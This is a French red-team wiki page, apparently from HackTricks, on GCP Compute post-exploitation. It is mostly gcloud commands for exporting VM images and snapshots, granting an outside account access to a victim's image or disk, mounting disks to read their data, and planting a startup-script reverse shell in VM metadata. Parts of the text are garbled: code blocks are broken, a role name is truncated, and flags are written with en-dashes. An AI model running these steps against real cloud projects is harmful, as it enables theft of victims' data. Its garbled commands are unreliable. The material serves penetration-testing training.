GCP - Compute Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Compute

Pour plus d’informations sur Compute et VPC (Networking) consultez :

GCP - Compute Enum

Export & Inspect Images locally

Cela permettrait Ă  un attaquant d’accĂ©der aux donnĂ©es contenues dans des images dĂ©jĂ  existantes ou de crĂ©er de nouvelles images de VMs en cours d’exĂ©cution et d’accĂ©der Ă  leurs donnĂ©es sans avoir accĂšs Ă  la VM en cours.

Il est possible d’exporter une image de VM vers un bucket puis de la tĂ©lĂ©charger et de la monter localement avec la commande :

Exporter et télécharger une image VM ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Pour effectuer cette action l’attaquant pourrait avoir besoin de privilĂšges sur le storage bucket et, pour sĂ»r, de privilĂšges sur cloudbuild car c’est le service qui sera sollicitĂ© pour effectuer l’export
De plus, pour que cela fonctionne le codebuild SA et le compute SA ont besoin de permissions privilégiées.
Le cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com a besoin de :

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

Et le SA <project-id>-compute@developer.gserviceaccount.com a besoin de :

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Export & Inspect Snapshots & Disks locally

Il n’est pas possible d’exporter directement des snapshots et des disks, mais il est possible de transformer un snapshot en disk, un disk en image et, en suivant la section prĂ©cĂ©dente, d’exporter cette image pour l’inspecter localement

Créer un disque à partir d'un snapshot et une image à partir d'un disk ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Inspecter une image en créant une VM

Dans le but d'accĂ©der aux **donnĂ©es stockĂ©es dans une image** ou Ă  l'intĂ©rieur d'une **VM en cours d'exĂ©cution** depuis l'endroit oĂč un attaquant **a créé une image,** il est possible d'accorder Ă  un compte externe l'accĂšs Ă  l'image :

<details>

<summary>Accorder l'accÚs à l'image et créer une VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

puis créez une nouvelle VM à partir de celle-ci :

Créer une instance VM à partir de l'image ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

Si vous ne pouvez pas donner Ă  votre compte externe l’accĂšs Ă  l’image, vous pouvez lancer une VM en utilisant cette image dans le projet de la victime et faire en sorte que la metadata exĂ©cute un reverse shell pour accĂ©der Ă  l’image en ajoutant le param :

Créer une VM avec reverse shell dans metadata ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Inspecter un snapshot/disque en le montant sur une VM

Dans le but d’accĂ©der aux donnĂ©es stockĂ©es dans un disque ou un snapshot, vous pouvez transformer le snapshot en disque, un disque en image et suivre les Ă©tapes prĂ©cĂ©dentes.

Ou vous pouvez accorder l’accĂšs Ă  un compte externe sur le disque (si le point de dĂ©part est un snapshot, donnez l’accĂšs au snapshot ou crĂ©ez-en un disque) :

Accorder l'accĂšs au disque ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Attacher le disque Ă  une instance:

Attacher le disque Ă  une instance ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Monter le disque Ă  l’intĂ©rieur de la VM :

  1. Se connecter en SSH Ă  la VM :
Se connecter en SSH Ă  la VM et monter le disque
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identifier le disque : Une fois dans la VM, identifiez le nouveau disque en listant les périphériques de disque. Typiquement, vous le trouverez comme /dev/sdb, /dev/sdc, etc.
  2. Formater et monter le disque (si c’est un disque neuf ou brut) :
  • CrĂ©er un point de montage :
Créer le point de montage et monter
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Monter le disque :
Monter le périphérique de disque
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Si vous ne pouvez pas donner l’accĂšs Ă  un projet externe au snapshot ou au disque, vous devrez peut-ĂȘtre effectuer ces actions depuis une instance dans le mĂȘme projet que le snapshot/le disque.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks